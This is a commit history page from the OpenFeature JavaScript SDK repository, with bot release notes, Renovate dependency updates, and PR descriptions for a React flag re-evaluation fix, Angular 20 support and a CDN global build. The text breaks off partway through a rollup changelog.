Compare commits

...

215 Commits

Author SHA1 Message Date
OpenFeature Bot ee236396cd
chore(main): release react-sdk 1.0.1 (#1235)
🤖 I have created a release *beep* *boop*
---


##
[1.0.1](https://github.com/open-feature/js-sdk/compare/react-sdk-v1.0.0...react-sdk-v1.0.1)
(2025-08-18)


### 🐛 Bug Fixes

* **react:** re-evaluate flags on re-render to detect silent provider …
([#1226](https://github.com/open-feature/js-sdk/issues/1226))
([3105595](3105595926))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
2025-08-18 16:26:25 +00:00
Michael Beemer 9aab3d053b
chore: remove hardcoded react v1
Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2025-08-18 11:56:09 -04:00
Michael Beemer 3105595926
fix(react): re-evaluate flags on re-render to detect silent provider … (#1226)
## This PR

- Added `useEffect` that runs on re-render to re-evaluate the flag value
- Only updates state if the resolved value actually changed (using
`isEqual` comparison)
- Used lazy initialization for `useState` to avoid redundant initial
evaluation
  - Added `useCallback` memoization for event handlers
  - Fixed `AbortController` scope issue

### Notes

This resolves a subtle issue where the provider state may update without
emitting a change event, leading to confusing results. The `useFlag`
hook sets the initial evaluated value in a `useState`. Since this wasn't
in a closure, this evaluation happened any time the component using the
hook rerendered but the result was essentially ignored. Adding a logging
hook shows that the current results but since this evaluation was made
in an existing `useState`, the result had no effect.

This resolves a subtle issue where the provider state may update without
emitting a change event, leading to stale flag values being displayed.

The `useFlag` hook was evaluating the flag on every re-render (as part
of the `useState` initialization), but because `useState` only uses its
initial value on the first render, these subsequent evaluations were
being discarded. This meant that even though the hook was fetching the
correct updated value from the provider on each re-render, it was
throwing that value away and continuing to display the stale cached
value.

Adding a logging hook would show the correct evaluation happening
(proving the provider had the updated value), but the UI would remain
stuck with the old value because the `useState` was ignoring the
re-evaluated result.

The fix ensures that these re-evaluations on re-render actually update
the component's state when the resolved value changes.

The key insight is that the evaluation WAS happening on every re-render
(due to how useState works), but React was discarding the result. Your
fix makes those evaluations actually matter by checking if the value
changed and updating state accordingly.

Original thread:
https://cloud-native.slack.com/archives/C06E4DE6S07/p1754508917397519

### How to test

I created a test that reproduced the issue, and it failed. I then
implemented the changes and verified that the test passed.

---------

Signed-off-by: Developer <developer@example.com>
Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
Co-authored-by: Developer <developer@example.com>
Co-authored-by: gemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com>
Co-authored-by: Lukas Reining <lukas.reining@codecentric.de>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2025-08-18 15:08:51 +00:00
renovate[bot] 1dbbd5161b
chore(deps): update dependency rxjs to v7.8.2 (#1230)
This PR contains the following updates:

| Package | Change | Age | Confidence |
|---|---|---|---|
| [rxjs](https://rxjs.dev)
([source](https://redirect.github.com/reactivex/rxjs)) | [`7.8.1` ->
`7.8.2`](https://renovatebot.com/diffs/npm/rxjs/7.8.1/7.8.2) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/rxjs/7.8.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/rxjs/7.8.1/7.8.2?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>reactivex/rxjs (rxjs)</summary>

###
[`v7.8.2`](https://redirect.github.com/reactivex/rxjs/compare/7.8.1...7.8.2)

[Compare
Source](https://redirect.github.com/reactivex/rxjs/compare/7.8.1...7.8.2)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled because a matching PR was automerged
previously.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MS43MS4xIiwidXBkYXRlZEluVmVyIjoiNDEuNzEuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOltdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-08-15 09:06:37 -04:00
renovate[bot] 2287083de7
chore(deps): update dependency shx to ^0.4.0 (#1213)
This PR contains the following updates:

| Package | Change | Age | Confidence |
|---|---|---|---|
| [shx](https://redirect.github.com/shelljs/shx) | [`^0.3.4` ->
`^0.4.0`](https://renovatebot.com/diffs/npm/shx/0.3.4/0.4.0) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/shx/0.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/shx/0.3.4/0.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>shelljs/shx (shx)</summary>

###
[`v0.4.0`](https://redirect.github.com/shelljs/shx/releases/tag/v0.4.0)

[Compare
Source](https://redirect.github.com/shelljs/shx/compare/v0.3.4...v0.4.0)

####  Highlighted changes

- This is based on ShellJS v0.9! This means we bumped the minimum node
version to >= v18.
- Small bash compatibility change to `shx sed`. Now if you invoke `shx
sed -i`, this will not print any output to stdout (this is for
consistency with unix `sed`). Using `shx sed` without the `-i` flag will
still print to stdout as before.

#### What's Changed

- chore: remove codecov devDependency by
[@&#8203;nfischer](https://redirect.github.com/nfischer) in
[https://github.com/shelljs/shx/pull/198](https://redirect.github.com/shelljs/shx/pull/198)
- chore(ci): run tests up to node v16 by
[@&#8203;nfischer](https://redirect.github.com/nfischer) in
[https://github.com/shelljs/shx/pull/197](https://redirect.github.com/shelljs/shx/pull/197)
- chore: rename master -> main by
[@&#8203;nfischer](https://redirect.github.com/nfischer) in
[https://github.com/shelljs/shx/pull/204](https://redirect.github.com/shelljs/shx/pull/204)
- chore: update deps by
[@&#8203;nfischer](https://redirect.github.com/nfischer) in
[https://github.com/shelljs/shx/pull/205](https://redirect.github.com/shelljs/shx/pull/205)
- chore: update CI to include v18 by
[@&#8203;nfischer](https://redirect.github.com/nfischer) in
[https://github.com/shelljs/shx/pull/206](https://redirect.github.com/shelljs/shx/pull/206)
- fix(lint): fixes import order lint warnings by
[@&#8203;nfischer](https://redirect.github.com/nfischer) in
[https://github.com/shelljs/shx/pull/215](https://redirect.github.com/shelljs/shx/pull/215)
- doc: highlight globs and emphasize double quotes by
[@&#8203;nfischer](https://redirect.github.com/nfischer) in
[https://github.com/shelljs/shx/pull/214](https://redirect.github.com/shelljs/shx/pull/214)
- chore: update CI to test against node v20 by
[@&#8203;nfischer](https://redirect.github.com/nfischer) in
[https://github.com/shelljs/shx/pull/212](https://redirect.github.com/shelljs/shx/pull/212)
- docs: change GitHub Actions README badge by
[@&#8203;nfischer](https://redirect.github.com/nfischer) in
[https://github.com/shelljs/shx/pull/216](https://redirect.github.com/shelljs/shx/pull/216)
- chore: keep node < 16 around longer by
[@&#8203;nfischer](https://redirect.github.com/nfischer) in
[https://github.com/shelljs/shx/pull/219](https://redirect.github.com/shelljs/shx/pull/219)
- Bump GitHub workflow action to latest version by
[@&#8203;deining](https://redirect.github.com/deining) in
[https://github.com/shelljs/shx/pull/220](https://redirect.github.com/shelljs/shx/pull/220)
- Update minimist for CVE-2021-44906 by
[@&#8203;tomhaines432](https://redirect.github.com/tomhaines432) in
[https://github.com/shelljs/shx/pull/218](https://redirect.github.com/shelljs/shx/pull/218)
- chore: add codecov token by
[@&#8203;nfischer](https://redirect.github.com/nfischer) in
[https://github.com/shelljs/shx/pull/222](https://redirect.github.com/shelljs/shx/pull/222)
- chore: remove unsupported node configs from CI by
[@&#8203;nfischer](https://redirect.github.com/nfischer) in
[https://github.com/shelljs/shx/pull/221](https://redirect.github.com/shelljs/shx/pull/221)
- chore: switch to codecov v4 by
[@&#8203;nfischer](https://redirect.github.com/nfischer) in
[https://github.com/shelljs/shx/pull/223](https://redirect.github.com/shelljs/shx/pull/223)
- chore(dependencies): update js-yaml by
[@&#8203;nfischer](https://redirect.github.com/nfischer) in
[https://github.com/shelljs/shx/pull/224](https://redirect.github.com/shelljs/shx/pull/224)
- doc: Fix typo in README by
[@&#8203;mpaw](https://redirect.github.com/mpaw) in
[https://github.com/shelljs/shx/pull/227](https://redirect.github.com/shelljs/shx/pull/227)
- chore: update shelljs and drop old node support by
[@&#8203;nfischer](https://redirect.github.com/nfischer) in
[https://github.com/shelljs/shx/pull/228](https://redirect.github.com/shelljs/shx/pull/228)
- chore: drop non-LTS node versions by
[@&#8203;nfischer](https://redirect.github.com/nfischer) in
[https://github.com/shelljs/shx/pull/229](https://redirect.github.com/shelljs/shx/pull/229)
- chore: drop some dependencies and simplify by
[@&#8203;nfischer](https://redirect.github.com/nfischer) in
[https://github.com/shelljs/shx/pull/230](https://redirect.github.com/shelljs/shx/pull/230)
- chore: update dependencies by
[@&#8203;nfischer](https://redirect.github.com/nfischer) in
[https://github.com/shelljs/shx/pull/231](https://redirect.github.com/shelljs/shx/pull/231)
- fix: add back ShellJS version in --version by
[@&#8203;nfischer](https://redirect.github.com/nfischer) in
[https://github.com/shelljs/shx/pull/232](https://redirect.github.com/shelljs/shx/pull/232)
- Adding a global --negate flag by
[@&#8203;SoTrx](https://redirect.github.com/SoTrx) in
[https://github.com/shelljs/shx/pull/189](https://redirect.github.com/shelljs/shx/pull/189)
- refactor: code cleanup for the --negate flag by
[@&#8203;nfischer](https://redirect.github.com/nfischer) in
[https://github.com/shelljs/shx/pull/233](https://redirect.github.com/shelljs/shx/pull/233)

#### New Contributors

- [@&#8203;deining](https://redirect.github.com/deining) made their
first contribution in
[https://github.com/shelljs/shx/pull/220](https://redirect.github.com/shelljs/shx/pull/220)
- [@&#8203;tomhaines432](https://redirect.github.com/tomhaines432) made
their first contribution in
[https://github.com/shelljs/shx/pull/218](https://redirect.github.com/shelljs/shx/pull/218)
- [@&#8203;mpaw](https://redirect.github.com/mpaw) made their first
contribution in
[https://github.com/shelljs/shx/pull/227](https://redirect.github.com/shelljs/shx/pull/227)
- [@&#8203;SoTrx](https://redirect.github.com/SoTrx) made their first
contribution in
[https://github.com/shelljs/shx/pull/189](https://redirect.github.com/shelljs/shx/pull/189)

**Full Changelog**:
https://github.com/shelljs/shx/compare/v0.3.4...v0.4.0

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC40MC4zIiwidXBkYXRlZEluVmVyIjoiNDEuNzEuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOltdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-08-15 09:06:26 -04:00
OpenFeature Bot 04139affcb
chore(main): release server-sdk 1.19.0 (#1181)
🤖 I have created a release *beep* *boop*
---


##
[1.19.0](https://github.com/open-feature/js-sdk/compare/server-sdk-v1.18.0...server-sdk-v1.19.0)
(2025-08-14)


###  New Features

* add evaluation-scoped hook data
([#1216](https://github.com/open-feature/js-sdk/issues/1216))
([07af3a9](07af3a9eda))


### 🐛 Bug Fixes

* update core dep
([#1228](https://github.com/open-feature/js-sdk/issues/1228))
([845d24c](845d24c5fe))


### 🧹 Chore

* update node to v20+
([#1203](https://github.com/open-feature/js-sdk/issues/1203))
([1f33453](1f33453c23))


### 📚 Documentation

* Clarify the behavior of setProviderAndWait
([#1180](https://github.com/open-feature/js-sdk/issues/1180))
([4fe8d87](4fe8d87a2e))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2025-08-14 15:57:34 -04:00
OpenFeature Bot 1e330a2e13
chore(main): release web-sdk 1.6.1 (#1229)
🤖 I have created a release *beep* *boop*
---


##
[1.6.1](https://github.com/open-feature/js-sdk/compare/web-sdk-v1.6.0...web-sdk-v1.6.1)
(2025-08-14)


### 🐛 Bug Fixes

* update core dep
([#1228](https://github.com/open-feature/js-sdk/issues/1228))
([845d24c](845d24c5fe))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
2025-08-14 13:37:46 -04:00
Todd Baert 7df8a8eedc
chore: engine version in root
Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2025-08-14 13:28:59 -04:00
Todd Baert 3b3515b601 chore: fix lockfile again
Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2025-08-14 13:18:01 -04:00
Todd Baert 63a1feb213 chore: fix lockfile
Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2025-08-14 13:10:38 -04:00
Todd Baert 845d24c5fe
fix: update core dep (#1228)
As astutely pointed out by @JasperJuergensen in
https://github.com/open-feature/js-sdk/issues/1227, we added API surface
in core which we use in the latest web, but did't accordingly update the
min version of core in web.

(I also updated the min core version in server, just because).

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2025-08-14 13:03:20 -04:00
OpenFeature Bot dc1970e717
chore(main): release web-sdk 1.6.0 (#1182)
🤖 I have created a release *beep* *boop*
---


##
[1.6.0](https://github.com/open-feature/js-sdk/compare/web-sdk-v1.5.0...web-sdk-v1.6.0)
(2025-08-12)


###  New Features

* add evaluation-scoped hook data
([#1216](https://github.com/open-feature/js-sdk/issues/1216))
([07af3a9](07af3a9eda))
* **web-global-build:** publish web packages to unpkg and jsdelivr
([#1225](https://github.com/open-feature/js-sdk/issues/1225))
([40a512e](40a512e212))


### 📚 Documentation

* Clarify the behavior of setProviderAndWait
([#1180](https://github.com/open-feature/js-sdk/issues/1180))
([4fe8d87](4fe8d87a2e))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
2025-08-12 23:27:08 +02:00
OpenFeature Bot e6e5ff3edf
chore(main): release core 1.9.0 (#1219)
🤖 I have created a release *beep* *boop*
---


##
[1.9.0](https://github.com/open-feature/js-sdk/compare/core-v1.8.1...core-v1.9.0)
(2025-08-10)


###  New Features

* add evaluation-scoped hook data
([#1216](https://github.com/open-feature/js-sdk/issues/1216))
([07af3a9](07af3a9eda))
* support Angular 20
([#1220](https://github.com/open-feature/js-sdk/issues/1220))
([aa232a9](aa232a9d6a))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
2025-08-12 21:08:51 +00:00
Patryk Zdunowski 40a512e212
feat(web-global-build): impl (#1225)
<!-- Please use this template for your pull request. -->
<!-- Please use the sections that you need and delete other sections -->

## This PR

- Implements a global (IIFE) build for the web.
- Adds support for global distribution via CDN by including `unpkg` and
`jsdelivr` fields in `package.json`.

### Notes

- The global build outputs to `dist/global/index.js`.
- The global bundle is exposed under the global name `OpenFeature`.

### Follow-up Tasks

- Consider adding automated tests or validation for the global bundle.
- If this bundle should be included in a release checklist or CI, link
the appropriate issue here.

### How to test

1. Run `npm run build` and ensure `dist/global/index.js` is generated.
2. Serve the file locally or upload to a CDN and verify that
`window.OpenFeature` is available in the browser console.

### Motivation
Trying to load OpenFeature as a first dependency before browser will
resolve any modules.

---------

Signed-off-by: Patryk Zdunowski <zdunekhere@gmail.com>
2025-08-10 14:24:01 +00:00
OpenFeature Bot 28850b7f6d
chore(main): release angular-sdk 0.0.16 (#1221) 2025-07-25 21:18:43 +02:00
Lukas Reining aa232a9d6a
feat: support Angular 20 (#1220)
Adds Angular 20 support.

This also remove the custom jest setup as it was not compatible with
Angular 20 and uses builtin support for vitest in Angular 20.
For this, Angular has been removed from the jest setup and the pipeline
runs it separately now.

Fixes #1206

---------

Signed-off-by: Lukas Reining <lukas.reining@codecentric.de>
2025-07-25 18:48:38 +02:00
Michael Beemer 07af3a9eda
feat: add evaluation-scoped hook data (#1216)
Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2025-07-18 15:08:01 -04:00
OpenFeature Bot d8bd93b6d5
chore(main): release core 1.8.1 (#1208)
🤖 I have created a release *beep* *boop*
---


##
[1.8.1](https://github.com/open-feature/js-sdk/compare/core-v1.8.0...core-v1.8.1)
(2025-06-04)


### 🔄 Refactoring

* **telemetry:** update telemetry attributes and remove unused
evaluation data
([#1189](https://github.com/open-feature/js-sdk/issues/1189))
([3e6bcae](3e6bcaef0b))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
2025-06-26 20:15:03 +00:00
renovate[bot] 1b3ac12a35
chore(deps): update dependency eslint-plugin-jsdoc to v50.7.1 (#1211)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[eslint-plugin-jsdoc](https://redirect.github.com/gajus/eslint-plugin-jsdoc)
| [`50.7.0` ->
`50.7.1`](https://renovatebot.com/diffs/npm/eslint-plugin-jsdoc/50.7.0/50.7.1)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/eslint-plugin-jsdoc/50.7.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/eslint-plugin-jsdoc/50.7.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/eslint-plugin-jsdoc/50.7.0/50.7.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/eslint-plugin-jsdoc/50.7.0/50.7.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>gajus/eslint-plugin-jsdoc (eslint-plugin-jsdoc)</summary>

###
[`v50.7.1`](https://redirect.github.com/gajus/eslint-plugin-jsdoc/releases/tag/v50.7.1)

[Compare
Source](https://redirect.github.com/gajus/eslint-plugin-jsdoc/compare/v50.7.0...v50.7.1)

##### Bug Fixes

- revert are-docs-informative upgrade; fixes
[#&#8203;1393](https://redirect.github.com/gajus/eslint-plugin-jsdoc/issues/1393)
([#&#8203;1394](https://redirect.github.com/gajus/eslint-plugin-jsdoc/issues/1394))
([99cb131](99cb131ee4))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC40MC4zIiwidXBkYXRlZEluVmVyIjoiNDAuNDAuMyIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOltdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-06-04 18:54:59 +00:00
Todd Baert d3bca54979
chore: update workflows to node 20 (#1209)
I missed a few workflows when I updated the node version. We should
update these for consistency.

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2025-06-04 14:54:45 -04:00
renovate[bot] baf0dfbd5b
chore(deps): update dependency rollup-plugin-dts to v6.2.1 (#1196)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[rollup-plugin-dts](https://redirect.github.com/Swatinem/rollup-plugin-dts)
| [`6.1.1` ->
`6.2.1`](https://renovatebot.com/diffs/npm/rollup-plugin-dts/6.1.1/6.2.1)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/rollup-plugin-dts/6.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/rollup-plugin-dts/6.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/rollup-plugin-dts/6.1.1/6.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/rollup-plugin-dts/6.1.1/6.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>Swatinem/rollup-plugin-dts (rollup-plugin-dts)</summary>

###
[`v6.2.1`](https://redirect.github.com/Swatinem/rollup-plugin-dts/compare/v6.2.0...v6.2.1)

[Compare
Source](https://redirect.github.com/Swatinem/rollup-plugin-dts/compare/v6.2.0...v6.2.1)

###
[`v6.2.0`](https://redirect.github.com/Swatinem/rollup-plugin-dts/blob/HEAD/CHANGELOG.md#620)

[Compare
Source](https://redirect.github.com/Swatinem/rollup-plugin-dts/compare/v6.1.1...v6.2.0)

**Features**:

-   Support importing json modules
-   Return Source Map Differences to Rollup

**Fixes**:

- Unable to find the program when entry points exist intersection
dependency
-   Create program for `imports` input file
-   Force emit types even when there's errors
-   Preserve type members of namespace in re-exported module
-   Imports and exports follows type-only
-   Import "local types" from "global modules"
-   Correctly restore type-only import/export names

**Thank you**:

Features, fixes and improvements in this release have been contributed
by:

-   [@&#8203;NWYLZW](https://redirect.github.com/NWYLZW)
-   [@&#8203;castarco](https://redirect.github.com/castarco)
-   [@&#8203;hyrious](https://redirect.github.com/hyrious)
-   [@&#8203;andersk](https://redirect.github.com/andersk)
-   [@&#8203;kricsleo](https://redirect.github.com/kricsleo)
-   [@&#8203;alan-agius4](https://redirect.github.com/alan-agius4)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC4xMS4xOCIsInVwZGF0ZWRJblZlciI6IjQwLjExLjE4IiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6W119-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-06-04 16:34:40 +00:00
renovate[bot] 2fd944d317
chore(deps): update dependency eslint-plugin-jsdoc to v50.7.0 (#1199)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[eslint-plugin-jsdoc](https://redirect.github.com/gajus/eslint-plugin-jsdoc)
| [`50.6.14` ->
`50.7.0`](https://renovatebot.com/diffs/npm/eslint-plugin-jsdoc/50.6.14/50.7.0)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/eslint-plugin-jsdoc/50.7.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/eslint-plugin-jsdoc/50.7.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/eslint-plugin-jsdoc/50.6.14/50.7.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/eslint-plugin-jsdoc/50.6.14/50.7.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>gajus/eslint-plugin-jsdoc (eslint-plugin-jsdoc)</summary>

###
[`v50.7.0`](https://redirect.github.com/gajus/eslint-plugin-jsdoc/releases/tag/v50.7.0)

[Compare
Source](https://redirect.github.com/gajus/eslint-plugin-jsdoc/compare/v50.6.17...v50.7.0)

##### Features

- **`getJsdocProcessorPlugin`:** add `allowedLanguagesToProcess` option
([#&#8203;1392](https://redirect.github.com/gajus/eslint-plugin-jsdoc/issues/1392))
([0adbf43](0adbf43b6b))

###
[`v50.6.17`](https://redirect.github.com/gajus/eslint-plugin-jsdoc/releases/tag/v50.6.17)

[Compare
Source](https://redirect.github.com/gajus/eslint-plugin-jsdoc/compare/v50.6.16...v50.6.17)

##### Bug Fixes

- **`require-param`:** update jsdoccomment to support exported
TSFunctionType type; fixes
[#&#8203;1386](https://redirect.github.com/gajus/eslint-plugin-jsdoc/issues/1386)
([#&#8203;1389](https://redirect.github.com/gajus/eslint-plugin-jsdoc/issues/1389))
([e26a11a](e26a11a399))

###
[`v50.6.16`](https://redirect.github.com/gajus/eslint-plugin-jsdoc/releases/tag/v50.6.16)

[Compare
Source](https://redirect.github.com/gajus/eslint-plugin-jsdoc/compare/v50.6.15...v50.6.16)

##### Bug Fixes

- **`valid-types`:** fix parsing of expressions like
`[@returns](https://redirect.github.com/returns)
{[@&#8203;link](https://redirect.github.com/link) SomeType}`; fixes
[#&#8203;1381](https://redirect.github.com/gajus/eslint-plugin-jsdoc/issues/1381)
([#&#8203;1382](https://redirect.github.com/gajus/eslint-plugin-jsdoc/issues/1382))
([2bd7242](2bd7242901))

###
[`v50.6.15`](https://redirect.github.com/gajus/eslint-plugin-jsdoc/releases/tag/v50.6.15)

[Compare
Source](https://redirect.github.com/gajus/eslint-plugin-jsdoc/compare/v50.6.14...v50.6.15)

##### Bug Fixes

- **`no-undefined-types`:** avoid eslint 8 error; fixes
[#&#8203;1387](https://redirect.github.com/gajus/eslint-plugin-jsdoc/issues/1387)
([#&#8203;1388](https://redirect.github.com/gajus/eslint-plugin-jsdoc/issues/1388))
([1bef636](1bef63677e))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC4xNi4wIiwidXBkYXRlZEluVmVyIjoiNDAuMzMuNiIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOltdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2025-06-04 16:34:07 +00:00
renovate[bot] 3598b5e822
chore(deps): update dependency rollup to v4.41.1 (#1205)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [rollup](https://rollupjs.org/)
([source](https://redirect.github.com/rollup/rollup)) | [`4.40.2` ->
`4.41.1`](https://renovatebot.com/diffs/npm/rollup/4.40.2/4.41.1) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/rollup/4.41.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/rollup/4.41.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/rollup/4.40.2/4.41.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/rollup/4.40.2/4.41.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>rollup/rollup (rollup)</summary>

###
[`v4.41.1`](https://redirect.github.com/rollup/rollup/blob/HEAD/CHANGELOG.md#4411)

[Compare
Source](https://redirect.github.com/rollup/rollup/compare/v4.41.0...v4.41.1)

*2025-05-24*

##### Bug Fixes

- If a plugin calls `this.resolve` with `skipSelf: true`, subsequent
calls when handling this by the same plugin with same parameters will
return `null` to avoid infinite recursions
([#&#8203;5945](https://redirect.github.com/rollup/rollup/issues/5945))

##### Pull Requests

- [#&#8203;5945](https://redirect.github.com/rollup/rollup/pull/5945):
Avoid recursively calling a plugin's resolveId hook with same id and
importer ([@&#8203;younggglcy](https://redirect.github.com/younggglcy),
[@&#8203;lukastaegert](https://redirect.github.com/lukastaegert))
- [#&#8203;5963](https://redirect.github.com/rollup/rollup/pull/5963):
fix(deps): update swc monorepo (major)
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])
- [#&#8203;5964](https://redirect.github.com/rollup/rollup/pull/5964):
fix(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://redirect.github.com/renovate)\[bot])

###
